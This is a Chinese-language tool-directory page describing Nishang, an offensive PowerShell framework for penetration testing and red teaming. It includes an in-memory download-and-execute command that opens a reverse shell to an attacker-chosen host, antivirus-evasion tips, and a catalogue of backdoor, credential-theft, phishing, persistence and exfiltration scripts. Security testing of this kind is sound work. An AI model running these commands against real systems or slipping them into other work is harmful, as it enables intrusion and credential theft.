Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
nishang — Nishang - 用于红队、渗透测试和攻击性安全的攻击性PowerShell。 | Kitploit
工具/GitHubGitHub/samratashok/nishang
密码破解钓鱼工具权限提升Payload生成漏洞利用横向移动数据泄露信息收集后渗透利用渗透测试命令与控制红队
10.0k2.5k543年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
samratashok/nishang

nishang

Nishang - 用于红队、渗透测试和攻击性安全的攻击性PowerShell。

查看仓库

Nishang

Nishang 是一个框架和脚本及 payload 集合,支持使用 PowerShell 进行 offensive security、渗透测试和 red teaming。Nishang 在渗透测试的所有阶段都很有用。

作者:Nikhil Mittal Altered Security - 动手红队和企业安全培训! 创始人

使用

在当前的 PowerShell 会话中导入所有脚本(PowerShell v3 及以上版本)。

root@kitploit:~
PS C:\nishang> Import-Module .\nishang.psm1

使用点加载(dot sourcing)单独使用各个脚本。

root@kitploit:~
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1

PS C:\nishang> Get-Information

要获取任何脚本或函数的帮助,请使用:

root@kitploit:~
PS C:\nishang> Get-Help [脚本名称] -full

请注意,自 0.3.8 版本起,帮助信息适用于运行脚本后加载的函数,而非脚本本身。在所有情况下,函数名称与脚本名称相同。

例如,要查看 Get-WLAN-Keys.ps1 的帮助信息,请使用

root@kitploit:~
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1

PS C:\nishang> Get-Help Get-WLAN-Keys -Full

防病毒

Nishang 脚本被许多防病毒软件标记为恶意。目标上的脚本旨在内存中执行,而使用 PowerShell 非常容易实现。两种在内存中执行 PowerShell 脚本的基本方法:

方法 1. 使用内存中下载并执行: 使用以下命令从远程 shell、meterpreter 原生 shell、web shell 等执行 PowerShell 脚本及其导出的函数。Nishang 中的所有脚本都在当前 PowerShell 会话中导出一个同名的函数。

root@kitploit:~
powershell iex (New-Object Net.WebClient).DownloadString('http://<你的web服务器>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [端口号]

方法 2. 使用 PowerShell 的 -encodedcommand(或 -e)参数 Nishang 中的所有脚本都在当前 PowerShell 会话中导出一个同名的函数。因此,当从非 PowerShell shell 使用 encodedcommand 参数时,请确保函数调用已包含在脚本本身中。对于上述示例,添加一个函数调用(不带引号)"Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [端口号]"。

使用 Nishang 的 Invoke-Encode 对脚本进行编码:

root@kitploit:~
PS C:\nishang> . \nishang\Utility\Invoke-Encode

PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand

编码后的数据写入 .\encoded.txt 文件

编码后的命令写入 .\encodedcommand.txt 文件

从上述生成的文件中,使用 encodedcommand.txt 中的编码脚本,在能够执行命令的目标系统上运行(如远程 shell、meterpreter 原生 shell、web shell 等)。使用方式如下:

root@kitploit:~
C:\Users\target> powershell -e [编码脚本]

如果脚本仍然被检测到,更改函数和参数名称并删除帮助内容会有帮助。

如果 Windows 10 的 AMSI 仍然阻止脚本执行,请参阅此博客:http://www.labofapenetrationtester.com/2016/09/amsi.html

脚本

Nishang 目前包含以下脚本和 payload。

ActiveDirectory

Set-DCShadowPermissions

修改 AD 对象以提供 DCShadow 所需的最小权限。

Antak - Web Shell

Antak

使用此 Web Shell 在内存中执行 PowerShell 脚本、运行命令以及下载和上传文件。

后门

HTTP-Backdoor

一个可以从第三方网站接收指令并在内存中执行 PowerShell 脚本的后门。

DNS_TXT_Pwnage

一个可以从 DNS TXT 查询中接收命令和 PowerShell 脚本,在目标上执行,并通过查询远程控制目标的后门。

Execute-OnTime

一个可以在目标上指定时间执行 PowerShell 脚本的后门。

Gupt-Backdoor

一个可以从 WLAN SSID 接收命令和脚本而无需连接该 SSID 的后门。

Add-ScrnSaveBackdoor

一个可以使用 Windows 屏幕保护程序进行远程命令和脚本执行的后门。

Invoke-ADSBackdoor

一个可以使用备用数据流和 Windows 注册表实现持久化的后门。

Add-RegBackdoor

一个使用众所周知的调试器技巧,通过粘滞键和 Utilman(Windows 键 + U)执行 payload 的后门。

Set-RemoteWMI

修改 DCOM 和 WMI 命名空间的权限,允许非管理员用户访问。

Set-RemotePSRemoting

修改 PowerShell 远程处理的权限,允许非管理员用户访问。

Bypass

Invoke-AmsiBypass

绕过/避免 AMSI 的公开方法的实现。

客户端

Out-CHM

创建可以执行 PowerShell 命令和脚本的感染性 CHM 文件。

Out-Word

创建 Word 文件并感染现有文件以运行 PowerShell 命令和脚本。

Out-Excel

创建 Excel 文件并感染现有文件以运行 PowerShell 命令和脚本。

Out-HTA

创建可部署在 Web 服务器上并用于钓鱼活动的 HTA 文件。

Out-Java

创建带签名的 JAR 文件,可与 applet 一起用于脚本和命令执行。

Out-Shortcut

创建能够执行 PowerShell 命令和脚本的快捷方式文件。

Out-WebQuery

创建用于钓鱼凭证和 SMB 哈希的 IQY 文件。

Out-JS

创建能够执行 PowerShell 命令和脚本的 JS 文件。

Out-SCT

创建能够执行 PowerShell 命令和脚本的 SCT 文件。

Out-SCF

创建可用于捕获 NTLM 哈希质询的 SCF 文件。

提权

Enable-DuplicateToken

当需要 SYSTEM 权限时使用。

Remove-Update

通过移除补丁引入漏洞。

Invoke-PsUACme

绕过 UAC。

执行

Download-Execute-PS

在内存中下载并执行 PowerShell 脚本。

Download_Execute

以文本格式下载可执行文件,将其转换为可执行文件并执行。

Execute-Command-MSSQL

在拥有足够权限的 MSSQL Server 上运行 PowerShell 命令、本机命令或 SQL 命令。

Execute-DNSTXT-Code

使用 DNS TXT 查询在内存中执行 shellcode。

Out-RundllCommand

使用 rundll32.exe 执行 PowerShell 命令和脚本或反向 PowerShell 会话。

信息收集

Check-VM

检查是否为虚拟机。

Copy-VSS

使用卷影复制服务复制 SAM 文件。

Invoke-CredentialsPhish

诱骗用户以明文形式提供凭据。

FireBuster FireListener

用于出站测试的一对脚本。

Get-Information

从目标获取有价值的信息。

Get-LSASecret

从目标获取 LSA 机密。

Get-PassHashes

从目标获取密码哈希。

Get-WLAN-Keys

从目标以明文形式获取 WLAN 密钥。

Keylogger

记录目标的按键。

Invoke-MimikatzWdigestDowngrade

在 Windows 8.1 和 Server 2012 上以明文形式转储用户密码。

Get-PassHints

获取 Windows 用户的密码提示。

Show-TargetScreen

连接回来并使用 MJPEG 流式传输目标屏幕。

Invoke-Mimikatz

在内存中加载 mimikatz。已更新并带有一些自定义功能。

Invoke-Mimikittenz

使用正则表达式从目标进程(如浏览器)内存中提取有价值的信息。

Invoke-SSIDExfil

使用 WLAN SSID 渗出用户凭据等信息。

Invoke-SessionGopher

识别管理员跳板机和/或用于访问 Unix 机器的计算机。

MITM

Invoke-Interceptor

用于中间人攻击的本地 HTTPS 代理。

横向移动

Create-MultipleSessions

在多台计算机上检查凭据并创建 PSSession。

Run-EXEonRemote 在多台计算机上复制并执行可执行文件。

Invoke-NetworkRelay 在计算机之间创建网络中继。

Prasadhak

Prasadhak

检查正在运行的进程的哈希值并与 VirusTotal 数据库进行比对。

扫描

Brute-Force

暴力破解 FTP、Active Directory、MSSQL 和 Sharepoint。

Port-Scan

一个便捷的端口扫描器。

Powerpreter

Powerpreter

Nishang 的所有功能整合在一个脚本模块中。

Shell

Invoke-PsGcat

将命令和脚本发送到指定的 Gmail 账户,由 Invoke-PsGcatAgent 执行。

Invoke-PsGcatAgent

执行 Invoke-PsGcat 发送的命令和脚本。

Invoke-PowerShellTcp

一个交互式 PowerShell 反向连接或绑定 shell。

Invoke-PowerShellTcpOneLine

Invoke-PowerShellTcp 的简化版本。还包含一个可容纳在两条推文中的骨架版本。

Invoke-PowerShellTcpOneLineBind

Invoke-PowerShellTcpOneLine 的绑定版本。

Invoke-PowerShellUdp

一个基于 UDP 的交互式 PowerShell 反向连接或绑定 shell。

Invoke-PowerShellUdpOneLine

Invoke-PowerShellUdp 的简化版本。

Invoke-PoshRatHttps

基于 HTTPS 的反向交互式 PowerShell。

Invoke-PoshRatHttp

基于 HTTP 的反向交互式 PowerShell。

Remove-PoshRat

使用 Invoke-PoshRatHttps 后清理系统。

Invoke-PowerShellWmi

使用 WMI 的交互式 PowerShell。

Invoke-PowerShellIcmp

一个基于 ICMP 的交互式 PowerShell 反向 shell。

Invoke-JSRatRundll

一个使用 rundll32.exe 基于 HTTP 的交互式 PowerShell 反向 shell。

Invoke-JSRatRegsvr

一个使用 regsvr32.exe 基于 HTTP 的交互式 PowerShell 反向 shell。

实用工具

Add-Exfiltration

向任何脚本添加通过 Gmail、Pastebin、Web 服务器和 DNS 的数据渗出能力。

Add-Persistence

向脚本添加重启持久化能力。

Remove-Persistence

移除由 Add-Persistence 脚本添加的持久化。

Do-Exfiltration

通过管道 (|) 将其与任何脚本连接,以渗出输出结果。

Download

将文件传输到目标。

Parse_Keys

解析键盘记录器记录的按键。

Invoke-Encode

编码并压缩脚本或字符串。

Invoke-Decode

解码并解压缩来自 Invoke-Encode 的脚本或字符串。

Start-CaptureServer

运行一个记录基本认证和 SMB 哈希的 Web 服务器。

ConvertTo-ROT13

将字符串编码为 ROT13 或解码 ROT13 字符串。

Out-DnsTxt

生成可用于其他脚本的 DNS TXT 记录。

[Base64ToString]

[StringToBase64]

[ExetoText]

[TexttoExe]

更新

关于 Nishang 的更新信息可以在我的博客 http://labofapenetrationtester.com 和 Twitter 账号 @nikhil_mitt 上找到。

错误、反馈和功能请求

如果遇到错误或有功能请求,请提交 issue。你可以通过 nikhil [dot] uitrgpv at gmail.com 向我发送邮件。

邮件列表

如需反馈、讨论和功能请求,请加入:http://groups.google.com/group/nishang-users

贡献

我一直在寻找 Nishang 的贡献者。请提交请求或给我发邮件。

博客文章

一些对初学者有帮助的博客文章:

http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html

http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html

http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html

http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html

所有关于 Nishang 的文章:

http://www.labofapenetrationtester.com/search/label/Nishang

下载工具